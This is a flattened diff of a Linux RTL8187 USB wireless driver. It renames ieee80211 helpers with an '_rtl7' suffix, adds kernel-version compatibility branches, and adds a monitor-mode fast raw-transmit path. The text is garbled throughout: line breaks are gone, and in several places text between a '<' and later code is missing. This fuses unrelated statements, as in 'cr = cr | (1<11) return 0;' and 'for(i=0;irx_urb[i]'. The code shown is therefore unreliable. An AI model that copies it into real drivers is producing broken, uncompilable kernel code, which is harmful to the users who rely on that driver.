(u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +998,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1014,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1134,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1148,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1169,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1201,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1216,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1231,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1240,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1248,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1296,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1315,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1373,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1384,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1409,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1422,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1435,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1477,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1494,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1593,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1604,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1625,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1652,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1679,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1720,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1767,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1827,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1875,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1884,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1967,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2002,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2031,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2121,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2187,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2210,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2224,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2268,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); 